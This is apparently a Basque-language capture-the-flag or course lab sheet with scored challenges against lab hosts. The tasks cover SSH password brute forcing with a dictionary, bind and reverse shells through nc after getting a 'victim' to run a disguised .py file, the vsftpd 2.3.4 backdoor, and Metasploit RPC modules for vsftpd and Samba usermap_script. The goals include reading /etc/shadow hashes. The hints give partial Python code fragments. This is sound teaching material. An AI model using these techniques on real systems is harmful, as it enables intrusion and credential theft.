# ERRONKA:

**Er1-UD3-SSH**

# Enuntziatua:

Ekintzarako unea iritsi da. Badugu erakundearen erradiografia, baina gai izango ote zara topatutako gailuren baten kontrola hartu eta konprometitzeko?  
  
Lehenengo eta behin, ssh zerbitzu ezagunaz baliatuko gara 192.168.1.200 makina urrunetik kontrolatzeko. Badakigu IP horretan 22 ataka irekita dagoela; beraz, litekeena da ssh zerbitzua martxan egotea bertan... Gainera, makina horren erabiltzaileen zerrenda ere badugu. Baina, nahikoa dugu informazio horrekin?

# Mugarriak:

**Er1-UD3-Mug1: 18 puntu**

Erabili "Er1\_UD3\_SSH\_Bat.py" scripta eta "diccionario" fitxategia.   
Zein da "user" erabiltzailearen pasahitza 192.168.1.200 IPdun makinara SSH (22 ataka) bitartez sartzeko?

**Er1-UD3-Mug2: 22 puntu**

Erabili "Er1\_UD3\_SSH\_Bi.py". Erabili aurreko mugarrian lortutako kredentzialak.   
Erakutsi pantailan 192.168.1.200 IPdun makinare /etc/group fitxaetgiaren edukia. Zein erabiltzaile dago "adm" taldearen barruan?   
ADIBIDEA:   
  
ssl-cert:x:114:postgres  
  
ssl-cert taldearen barruan postgres erabiltzailea dago.

# Pistak:

**Er1-UD3-Mug1-Pista 2: -3 puntu**

objeto\_ssh.solicitar\_datos\_usuario()  
.......  
while (contraseña\_ssh and not encontrada):

**Er1-UD3-Mug1-Pista1: -1 puntu**

objeto\_ssh=ssh()

**Er1-UD3-Mug1-Pista3: -6 puntu**

.............  
 print('[-] Intento ' + str(contador\_contraseñas) + ': ' + str(contraseña\_ssh) + ' ...', end='')  
 objeto\_ssh.password=contraseña\_ssh  
 encontrada = objeto\_ssh.conectar\_ssh()  
..............

**Er1-UD3-Mug2-Pista 1: -1 puntu**

from Er1\_UD3\_SSH\_Bat\_Soluzioa import ssh

**Er1-UD3-Mug2-Pista2: -3 puntu**

objeto\_ssh=ssh()  
 conexion\_establecida=False

**Er1-UD3-Mug2-Pista3: -4 puntu**

while not conexion\_establecida:   
 ..........  
 conexion\_establecida=objeto\_ssh.conectar\_ssh()  
  
**Er1-UD3-Mug2-Pista4: -4 puntu**

ejecuta\_exit=False   
 while not ejecuta\_exit:  
...........................................  
   
if comando.strip().lower() == 'exit':  
 ejecuta\_exit=True

# ERRONKA:

**Er2-UD3-Shell**

# Enuntziatua:

Makina baten kontrola hartzen dugunean ssh bitartez, sortutako zarata nabarmena izan ohi da (trafiko oso ezaguna da). Horregatik, interesgarria izan daiteke beste teknika isilagoak erabiltzea...

# Mugarriak:

**Er2-UD3-Mug1: 10 puntu**

Bind Shell bat erabiliko duzu 192.168.1.150 IPdun makinan konektatzeko. Horretarako, erabili ezazu Er2\_UD2\_Shell\_Bat\_Soluzioa.py scripta.   
  
Ariketa honetan biktima zein erasotzailearen papera hartuko duzu.   
  
ERASOTZAILEA (kali)  
Fitxategia 192.168.1.150 makinara bidaliko duzu; kasu honetan, ssh bidez.   
scp [fitxategia] root@192.168.1.150:/root  
  
BIKTIMA: (dnsserver) --> ssh bidez konektatu bertara  
Fitxategi bat jaso duzu py luzapenarekin. Exekutatzea erabaki duzu ikusteko zer egiten duen; exekutatu ta gero, konturatu zara ez duela ezer egiten.   
  
 ERASOTZAILEA  
Erabili nc komandoa BIND Shell-a zabaltzeko.   
  
Zein da biktimaren /proc/meminfo fitxategiaren Hugepagesize parametroaren balioa KBetan?

**Er2-UD3-Mug2: 10 puntu**

Reverse Shell bat erabiliko duzu 192.168.1.150 IPdun makinan konektatzeko. Horretarako, erabili ezazu Er2\_UD2\_Shell\_Bi\_Soluzioa.py scripta.   
  
Ariketa honetan biktima zein erasotzailearen papera hartuko duzu.   
  
ERASOTZAILEA (kali)  
Fitxategia 192.168.1.150 makinara bidaliko duzu; kasu honetan, ssh bidez.   
scp [fitxategia] root@192.168.1.150:/root  
Gainera, listener-a martxan jarriko duzu, nc erabiliz.   
  
BIKTIMA: (dnsserver) --> ssh bidez konektatu bertara  
Fitxategi bat jaso duzu py luzapenarekin. Exekutatzea erabaki duzu ikusteko zer egiten duen.   
  
 ERASOTZAILEA  
Baduzu shell-a irekita.   
  
Zein da biktimaren /proc/cpuinfo fitxategiaren vendor\_id parametroaren balioa?

# Pistarik ez

# ERRONKA:

**Er3-UD3-FTP**

# Enuntziatua:

Aurreko fasean egindako probetan ikusi duzunez, 192.168.1.200 IPdun makinak FTP zerbitzua dauka atzigarri, eta bertan VSFTPD softwarea erabiltzen du.   
Akronimo hori irakurtzean, dir-dir egin dute zure begiek.

# Mugarriak:

**Er3-UD3-Mug1: 15 puntu**

Zein dira "klog" erabiltzailearen /etc/shadow fitxategiko pasahitz enkriptatuaren azken 4 karaktereak?

# Pistak:

**Er3-UD3-Mug1-Pista1: -1 puntu**

Zein atakatan zabaltzen da "backdoor"-a?  
62xx

**Er3-UD3-Mug1-Pista2: -2 puntu**

if comando.lower()=="exit":  
 ejecuta\_exit=True

**Er3-UD3-Mug1-Pista 2: -5 puntu**

puerta\_trasera\_socket.send(comando)  
destino,puerto=xxxxx  
lanzar\_exploit(?????, ?????)

# ERRONKA:

**Er4-UD3-Metasploit**

# Enuntziatua:

Ezin fase hau bukatutzat eman Metasploit Framework erabili gabe...

# Mugarriak:

**Er4-UD3-Mug1: 11 puntu**

Egin 192.168.1.200 makinaren VSFTPD-ren kontrako ustiapena, haren kontrola hartzeko.   
Zein da 192.168.1.200 IPdun makinako /proc/meminfo fitxategiaren MemTotal parametroaren balioa KBetan?

**Er4-UD3-Mug2: 14 puntu**

Egin 192.168.1.200 makinaren "Samba usermap script" kontrako ustiapena, haren kontrola hartzeko.   
Adi! Zein payload erabili behar ditzakezu? Aurreko mugarriaren antzekoa da, baina ez berdina. Aztertu ezazu kodearekin jokatuz: inprimatu "exploit"-en aukerako payload-ak.   
Zein da 192.168.1.200 IPdun makinako /proc/cpuinfo fitxategiaren cachearen tamaina KBetan?

# Pistak:

**Er4-UD3-Orokor1: -2 puntu**

ip,puerto\_rpc,contrasena=solicitar\_datos\_usuario()

**Er4-Ud3-Orokor2: -2 puntu**

cliente\_rpc = MsfRpcClient(contrasena, port=int(puerto\_rpc))

**Er4-Ud3-Orokor3: -2 puntu**

exploit = cliente\_rpc.modules.use('exploit', 'unix/ftp/vsftpd\_234\_backdoor')  
EDO  
 exploit=cliente\_rpc.modules.use('exploit', 'multi/samba/usermap\_script')

**Er4-Ud3-Orokor4: -4 puntu**

output = sesion.read()  
 print(output)

Er4-UD3-2mugarria: -4 puntu

print (exploit.payloads)